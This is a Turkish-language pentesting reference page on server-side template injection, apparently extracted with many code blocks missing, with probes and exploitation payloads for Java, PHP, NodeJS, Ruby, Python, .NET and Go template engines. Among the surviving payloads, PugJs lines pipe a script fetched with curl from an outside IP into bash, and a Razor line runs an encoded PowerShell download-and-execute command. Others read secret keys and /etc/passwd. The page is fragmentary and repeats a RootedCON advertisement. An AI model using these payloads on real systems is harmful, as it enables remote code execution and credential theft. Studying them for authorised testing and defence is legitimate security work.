SSTI (Server Side Template Injection)
RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
SSTI (Server-Side Template Injection) Nedir
Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda meydana gelen bir güvenlik açığıdır. Bu güvenlik açığı, Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak bir güvenlik açığına sahip kod parçasını gösteren bir örneği ele alalım:
Bu savunmasız kodda, kullanıcının isteğinden gelen name
parametresi doğrudan render
fonksiyonu kullanılarak şablona aktarılmaktadır. Bu, bir saldırganın name
parametresine kötü niyetli kod enjekte etmesine olanak tanıyabilir ve bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.
Örneğin, bir saldırgan şu şekilde bir yük ile bir istek oluşturabilir:
The payload {{bad-stuff-here}}
name
parametresine enjekte edilir. Bu yük, saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol kazanabilir.
Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdisinin şablonlara eklenmeden önce düzgün bir şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Girdi doğrulaması uygulamak ve bağlama duyarlı kaçış teknikleri kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.
Detection
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta şablonu fuzzing yapmak basit bir yaklaşımdır. Bu, şablona bir dizi özel karakter (${{<%[%'"}}%\
) enjekte etmeyi ve sunucunun normal verilerle bu özel yük arasındaki yanıt farklılıklarını analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar.
Yansımada yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu normal verilerden farklı işlediğini ima eder.
Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin,
{{7*7}}
,${7*7}
).Kod Bağlamı: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin,
http://vulnerable-website.com/?greeting=data.username
içindekigreeting
değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek içingreeting=data.username}}hello
gibi bir yanıt alıp almadığını kontrol edin.
Identification Phase
Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil spesifik yükleri manuel olarak test etmeyi içerir. Hatalara neden olan yaygın yükler arasında ${7/0}
, {{7/0}}
ve <%= 7/0 %>
bulunur. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.
Tools
yenilikçi poliglotlar kullanan etkili bir SSTI + CSTI tarayıcısıdır.
en etkili şablon enjeksiyonu poliglotlarını ve 44 en önemli şablon motorunun beklenen yanıtlarını içeren etkileşimli bir tablo.
Exploits
Generic
Bu wordlist içinde aşağıda belirtilen motorların bazı ortamlarında tanımlı değişkenler bulabilirsiniz:
Java
Java - Temel enjeksiyon
Java - Sistemin ortam değişkenlerini al
Java - /etc/passwd'ı Al
FreeMarker (Java)
Payload'larınızı https://try.freemarker.apache.org adresinde deneyebilirsiniz.
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (eski)
${7*'7'} Hiçbir şey
${foobar}
Freemarker - Sandbox atlatma
⚠️ yalnızca 2.3.30'dan önceki Freemarker sürümlerinde çalışır
Daha fazla bilgi
https://portswigger.net/research/server-side-template-injection adresindeki FreeMarker bölümünde
Daha fazla bilgi
https://portswigger.net/research/server-side-template-injection adresindeki Velocity bölümünde
Thymeleaf
Thymeleaf'de, SSTI zafiyetleri için yaygın bir test ifadesi ${7*7}
'dir; bu, bu şablon motoru için de geçerlidir. Potansiyel uzaktan kod yürütme için aşağıdaki gibi ifadeler kullanılabilir:
SpringEL:
OGNL:
Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, ifade iç içe geçirme diğer şablon konumları için desteklenir ve [[...]]
veya [(...)]
gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü [[${7*7}]]
gibi görünebilir.
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi TemplateResolver
'larını uygulamaları gerekir ki bu da yaygın değildir.
Thymeleaf ayrıca, çift alt çizgi içinde (__...__
) bulunan ifadelerin ön işleme tabi tutulduğu ifade ön işleme sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi, ifadelerin inşasında kullanılabilir:
Thymeleaf'deki Zafiyet Örneği
Aşağıdaki kod parçasını düşünün, bu istismar edilmeye açık olabilir:
Bu, şablon motorunun bu girdileri yanlış bir şekilde işlemesi durumunda, aşağıdaki gibi URL'lere erişim sağlayarak uzaktan kod yürütmeye yol açabileceğini gösterir:
Daha fazla bilgi
Spring Framework (Java)
Filtreleri Atlatma
Birden fazla değişken ifadesi kullanılabilir, eğer ${...}
çalışmıyorsa #{...}
, *{...}
, @{...}
veya ~{...}
deneyin.
/etc/passwd
dosyasını oku
Payload üretimi için Özel Script
Daha Fazla Bilgi
Spring Görünüm Manipülasyonu (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble'ın eski versiyonu ( < version 3.0.9):
Yeni Pebble sürümü:
Jinjava (Java)
Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, https://github.com/HubSpot/jinjava/ adresinde mevcuttur.
Jinjava - Komut yürütme
https://github.com/HubSpot/jinjava/pull/230 ile düzeltildi.
Daha fazla bilgi
Hubspot - HuBL (Java)
{% %}
ifade ayırıcıları{{ }}
ifade ayırıcıları{# #}
yorum ayırıcıları{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" için arama yapın ve Jinjava projesini Github'da keşfedin.
Daha fazla bilgi
İfade Dili - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çok sayıda JavaEE teknolojisinde yaygın olarak kullanılmaktadır. EL'yi kullanan ana JavaEE teknolojileri şunlardır:
JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili arka uç verileri ve eylemleri ile bağlamak için EL kullanır.
JavaServer Pages (JSP): JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileriyle bağlamayı kolaylaştırır.
Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI): EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşim sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
EL yorumlayıcılarının istismarını öğrenmek için aşağıdaki sayfayı kontrol edin:
EL - Expression LanguageGroovy (Java)
Aşağıdaki Güvenlik Yöneticisi atlatmaları bu yazıdan alınmıştır.
RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
Smarty (PHP)
Daha fazla bilgi
https://portswigger.net/research/server-side-template-injection adresindeki Smarty bölümü
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Hata
{{foobar}} Hiçbir şey
Twig - Şablon formatı
Daha fazla bilgi
https://portswigger.net/research/server-side-template-injection adresinin Twig ve Twig (Sandboxed) bölümünde
Plates (PHP)
Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, yeni bir sözdizimi tanıtan Twig'in aksine, Plates şablonlarda yerel PHP kodunu kullanarak PHP geliştiricileri için sezgisel hale getirir.
Controller:
Sayfa şablonu:
Layout şablonu:
Daha fazla bilgi
PHPlib ve HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB PHPlib ile aynıdır ancak Pear'a taşınmıştır.
authors.tpl
authors.php
Daha fazla bilgi
Jade (NodeJS)
Daha fazla bilgi
https://portswigger.net/research/server-side-template-injection adresindeki Jade bölümünde
patTemplate (PHP)
patTemplate XML etiketlerini kullanarak bir belgeyi farklı parçalara ayıran derlenmeyen PHP şablon motorudur.
Daha fazla bilgi
Handlebars (NodeJS)
Path Traversal (daha fazla bilgi burada).
= Hata
${7*7} = ${7*7}
Hiçbir şey
Daha fazla bilgi
JsRender (NodeJS)
Şablon | Açıklama |
Çıktıyı değerlendir ve render et | |
HTML kodlu çıktıyı değerlendir ve render et | |
Yorum | |
ve | Koda izin ver (varsayılan olarak devre dışı) |
= 49
İstemci Tarafı
Sunucu Tarafı
Daha fazla bilgi
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Örnek sunucu tarafı render
Daha fazla bilgi
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Çıktı yok
#{7*7} = #{7*7}
{{console.log(1)}} = Hata
Daha fazla bilgi
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Hata
Daha fazla bilgi
Slim (Ruby)
{ 7 * 7 }
Daha fazla bilgi
Python
Python'da sandbox'ları atlayarak keyfi komut yürütme hakkında ipuçları öğrenmek için aşağıdaki sayfayı kontrol edin:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Hata
{{7*'7'}} = 7777777
Daha fazla bilgi
Jinja2 (Python)
Jinja2, Python için tam özellikli bir şablon motorudur. Tam unicode desteğine, isteğe bağlı entegre bir sandbox yürütme ortamına sahiptir, yaygın olarak kullanılmakta ve BSD lisanslıdır.
{{7*7}} = Hata
${7*7} = ${7*7}
{{foobar}} Hiçbir şey
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Şablon formatı
RCE bağımsızdır __builtins__
:
Jinja'yı nasıl kötüye kullanacağınız hakkında daha fazla ayrıntı:
Jinja2 SSTIDiğer payloadlar için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Daha fazla bilgi
Razor (.Net)
@(2+2) <= Başarılı
@() <= Başarılı
@("{{code}}") <= Başarılı
@ <=Başarılı
@{} <= HATA!
@{ <= HATA!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
.NET System.Diagnostics.Process.Start
metodu, sunucuda herhangi bir süreci başlatmak ve böylece bir webshell oluşturmak için kullanılabilir. Zayıf bir web uygulaması örneğini https://github.com/cnotin/RazorVulnerableApp adresinde bulabilirsiniz.
Daha fazla bilgi
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Hiçbir şey<%= response.write(date()) %>
= <Tarih>
Daha Fazla Bilgi
Mojolicious (Perl)
Perl olmasına rağmen Ruby'deki ERB gibi etiketler kullanır.
<%= 7*7 %> = 49
<%= foobar %> = Hata
SSTI in GO
Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapılabilir:
{{ . }}
: Veri yapısı girdisini açığa çıkarır. Örneğin, birPassword
niteliğine sahip bir nesne geçilirse,{{ .Password }}
bunu açığa çıkarabilir.{{printf "%s" "ssti" }}
: "ssti" dizesini göstermesi beklenir.{{html "ssti"}}
,{{js "ssti"}}
: Bu yükler "html" veya "js" eklemeden "ssti" döndürmelidir. Daha fazla yönerge Go belgelerinde burada incelenebilir.
XSS Exploitation
text/template
paketi ile XSS, yükü doğrudan ekleyerek basit hale getirilebilir. Aksine, html/template
paketi yanıtı kodlayarak bunu önler (örneğin, {{"<script>alert(1)</script>"}}
sonucu <script>alert(1)</script>
olur). Ancak, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
RCE istismarı html/template
ve text/template
arasında önemli ölçüde farklılık gösterir. text/template
modülü, herhangi bir genel işlevi doğrudan çağırmaya izin verir ( “call” değeri kullanarak), bu html/template
'de izin verilmez. Bu modüller için belgeler html/template için burada ve text/template için burada mevcuttur.
Go'da SSTI aracılığıyla RCE için, nesne yöntemleri çağrılabilir. Örneğin, sağlanan nesne komutları yürüten bir System
yöntemine sahipse, {{ .System "ls" }}
gibi istismar edilebilir. Bunu istismar etmek için genellikle kaynak koduna erişim gereklidir, verilen örnekte olduğu gibi:
Daha fazla bilgi
Daha Fazla Sömürü
Daha fazla sömürü için https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kısmını kontrol edin. Ayrıca https://github.com/DiogoMRSilva/websitesVulnerableToSSTI adresinde ilginç etiket bilgileri bulabilirsiniz.
BlackHat PDF
İlgili Yardım
Faydalı olabileceğini düşünüyorsanız, okuyun:
Araçlar
Brute-Force Tespit Listesi
Pratik & Referanslar
RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplinin teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
Last updated